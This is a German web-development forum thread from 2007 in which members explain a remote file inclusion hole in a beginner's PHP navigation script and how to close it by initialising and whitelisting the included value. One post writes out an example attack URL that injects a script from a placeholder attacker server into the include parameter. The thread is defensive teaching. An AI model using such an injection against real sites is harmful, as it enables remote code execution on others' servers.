![]() |
Willkommen, Gast ( Anmelden | Registrierung )
![]() ![]() |
![]() |
![]()
Beitrag
#21
|
|
Rookie Gruppe: User Beiträge: 5 Mitglied seit: 20.12.2007 Wohnort: Leipzig Mitglieds-Nr.: 7.210 ![]() |
ok danke für den Tipp! Ich hab den Fehler auch schon selber gefunden zu meinem Problem....
Ich kann mir ernsthaft nicht vorstellen wie man damit meine Festplatte formatieren kann,,. desweiteren weiß ich auch nicht wie man das anders machen könnte! |
|
|
![]()
Beitrag
#22
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
ok danke für den Tipp! Ich hab den Fehler auch schon selber gefunden zu meinem Problem.... Nun, wenn du davon ausgehst, dass dein Problem und seine Lösung für andere nicht interessant sind, dann hier von mir nur ein herzlicher Glückwunsch ![]() Ich kann mir ernsthaft nicht vorstellen wie man damit meine Festplatte formatieren kann,,. CODE http://www.deinserver.de/conten_ges.php?section=1&dateien%5B1%5D=http%3A%2F%2Fwww.meinserver.de%2Fboesesskript.php Und wenn http://www.meinserver.de/boesesskript.php dann PHP-Code zum Formatieren der Festplatte enthält, führt dein Skript ihn aus (wie geschrieben, wenn register_globals auf ON steht und zudem auch noch allow_url_fopen an ist - was allerdings nicht ungewöhnlich wäre). Falls du $dateien vor der Auswertung explizit setzt (davon war in deinem Skript allerdings nichts zu sehen), kann das natürlich nicht passieren. desweiteren weiß ich auch nicht wie man das anders machen könnte! $dateien vor der Auswertung explizit setzen. Der Beitrag wurde von Thomas bearbeitet: 21.12.2007 - 14:08
Bearbeitungsgrund: Smiley eingefügt, codebox verwendet (die zwar viel zu hoch, dafür aber nicht zu breit ist) und unsinnigen Text geändert, nachdem ich den PHP-Code nochmal genau gelesen habe.
|
|
|
![]()
Beitrag
#23
|
|
Rookie Gruppe: User Beiträge: 5 Mitglied seit: 20.12.2007 Wohnort: Leipzig Mitglieds-Nr.: 7.210 ![]() |
Ah ok jetzt verstehe ich wie du das meinst! Das geht bei mir nicht man kann bei mir "?section=" da dranhängen was man will und gelangt immer auf meine Startseite auser die section ist vorhanden!
Ich hab mein Problem folgender maßen gelöst... HTML <?php function menue($curfil) { $url = array( "Startseite"=>"Startseite", "sKdeZign"=>"sKdezign", "Webdesign"=>"Webdesign", "Docs_Guides"=>"Docs & Guides", "Tools"=>"Tools", ); $current = isset($_GET['section'] ) ? $_GET['section'] : 'Startseite'; $men = ''; foreach($url as $fil => $nam) { $men .= '<li><a href="index.php?section='.$fil.'"'; if ($current == $fil) $men .= ' id="current"'; $men .= '>'.$nam.'</a></li>'."\n"; } return($men); } ?> Bei deinem Script hat bei mir die current Funktion nicht funktioniert! Nun geht das alles wie geschmiert. Das einzigste Probelm was ich nun noch hab ist das ich eine Subnavigation einbauen möchte aber noch nicht genau weiß wie ich das anstelle. z.B. wenn man auf sKdeZign klickt soll die Subnavigation erscheinen dabei soll sKdeZign current bleiben und man kann was in der Subnavigation auswählen was dann auchnoch current werden soll. Wenn man danach wieder auf die Startseite klickt soll die Subnavigation wieder verschwinden. |
|
|
![]()
Beitrag
#24
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Ah ok jetzt verstehe ich wie du das meinst! Das geht bei mir nicht man kann bei mir "?section=" da dranhängen was man will und gelangt immer auf meine Startseite auser die section ist vorhanden! Dann ist entweder register_globals auf OFF oder dein Skript conten_ges.php hat einen anderen Inhalt als den, den du angegeben hast oder du hast mein Beispiel doch noch nicht ganz verstanden (es ging darum, dass sowohl "section" als auch "datei" im Querystring angegeben sind). Bei deinem Script hat bei mir die current Funktion nicht funktioniert! Nun geht das alles wie geschmiert. Mein Skript ![]() ![]() Das einzigste Probelm was ich nun noch hab ist das ich eine Subnavigation einbauen möchte aber noch nicht genau weiß wie ich das anstelle. z.B. wenn man auf sKdeZign klickt soll die Subnavigation erscheinen dabei soll sKdeZign current bleiben und man kann was in der Subnavigation auswählen was dann auchnoch current werden soll. Wenn man danach wieder auf die Startseite klickt soll die Subnavigation wieder verschwinden. Kann mal jemand abklatschen? Ich muss noch was arbeiten. |
|
|
![]()
Beitrag
#25
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Okay, Antworten auf Cremes Frage bezüglich der Subnavigation bitte in dem dazugehörigen, neuen Thread posten (und nicht mehr hier).
|
|
|
![]()
Beitrag
#26
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
Dann ist entweder register_globals auf OFF ... Was willst du eigentlich immer mit register_globals? Es ist doch vollkommen egal, mit welcher Methode die URL von boesesskript.php übergeben wird. Ob nun $_POST["datei"] = "..."; oder $_GET["datei"] = "..."; oder was auch immer, die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Wenn register_globals auf on steht, kann der Wert natürlich auch aus einer anderen Quelle stammen bzw. über einen anderen Weg kommen. Aber wen schert es, dies nicht tun zu können, wenn als Quelle GET verlangt wird und man den Schadcode auch so einschleusen kann? Bei allow_url_fopen gebe ich dir allerdings recht. Eine weitere der methodischen Sicherheitslücken von PHP. Tschö, Auge |
|
|
![]()
Beitrag
#27
|
|
Nachschlagewerk des Orakels ![]() Gruppe: Mods Beiträge: 955 Mitglied seit: 29.08.2006 Wohnort: Frankfurt am Main Mitglieds-Nr.: 6.217 ![]() |
Was willst du eigentlich immer mit register_globals? ... die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Nun, ich will nicht immer, sondern nur in diesem speziellen Fall. Das von Creme gepostet Skript (conten_ges.php) prüft nämlich den übergebenen Wert, allerdings gegen den Inhalt einer anderen Variablen, namentlich "$dateien". Und falls (entschuldige bitte, dass ich es nochmal anspreche, aber es lässt sich leider nicht vermeiden) register_globals auf ON steht, kann ich auch $dateien über den Querystring bzw. einen Formularaufruf vorgeben. Und wenn ich dem Anwender meiner Skripte erlaube, sowohl den Namen des Skriptes als auch den von mir verwendeten Prüfwert selbst festzulegen, dann kann ich mir die Prüfung auch hinter die Tapete kleben, falls du verstehst was ich meine. Sollte sich dir der Grund für meine Erwähnung von register_globals nach diesen Ausführungen erschließen, würde mich das sehr freuen. Falls nicht, bin ich natürlich gerne bereit, auch weitere freundliche Nachfragen zu beantworten ![]() |
|
|
![]()
Beitrag
#28
|
|
Anwärter auf W3.org Mitgliedschaft ![]() ![]() ![]() ![]() ![]() Gruppe: User Beiträge: 550 Mitglied seit: 28.11.2001 Wohnort: Berlin Friedrichshain Mitglieds-Nr.: 107 ![]() |
Was willst du eigentlich immer mit register_globals? ... die Frage ist nicht: 'register_globals on oder off?', sondern 'Übergebener Wert geprüft?'. Nun, ich will nicht immer, sondern nur in diesem speziellen Fall. Das von Creme gepostet Skript (conten_ges.php) prüft nämlich den übergebenen Wert, allerdings gegen den Inhalt einer anderen Variablen, namentlich "$dateien". Und falls (entschuldige bitte, dass ich es nochmal anspreche, aber es lässt sich leider nicht vermeiden) register_globals auf ON steht, kann ich auch $dateien über den Querystring bzw. einen Formularaufruf vorgeben. Ah ja, dein ... Falls du $dateien vor der Auswertung explizit setzt (davon war in deinem Skript allerdings nichts zu sehen), kann das natürlich nicht passieren. ... hatte ich überlesen. Wenn ich gegen einen übergebenen Wert prüfe -ob mit isset() oder z.B. auch in_array()- gehe ich natürlich davon aus, dass die Variable, mit der geprüft wird, auch vor dem ersten Einsatz initialisiert wurde. Mit dieser Selbstverständlichkeit geht einem die Offenheit gegenüber möglichen Fehlern anderer offensichtlich verloren. Der Einfachheit halber könnte man das System auch abändern, so dass als Wet z.B. nur Zahlen übergeben werden, die entscheiden, welche Ressource eingebunden wird. Spätestens dann, wenn die übergebene Zahl in einem (geprüft) definierten Bereich[1] liegt und damit die Auswahl einer festgelegten Ressource verbunden ist, ist die Gefahr der Einschleusung fremden Codes behoben. Schicke URLs sehen zwar anders aus, aber was solls, wer's braucht soll die Rewrite Engine anschmeißen. Und wenn ich dem Anwender meiner Skripte erlaube, sowohl den Namen des Skriptes als auch den von mir verwendeten Prüfwert selbst festzulegen, dann kann ich mir die Prüfung auch hinter die Tapete kleben, falls du verstehst was ich meine. Sicher doch, sicher. [1] Der sollte natürlich vor Maipulationen von Außerhalb geschützt sein. Tschö, Auge |
|
|
Google Bot |
![]()
Beitrag
#
|
![]() Google Ads ![]() |
|
|
|
![]() ![]() |
![]() |
Vereinfachte Darstellung | Aktuelles Datum: 14.05.2025 - 8:17 |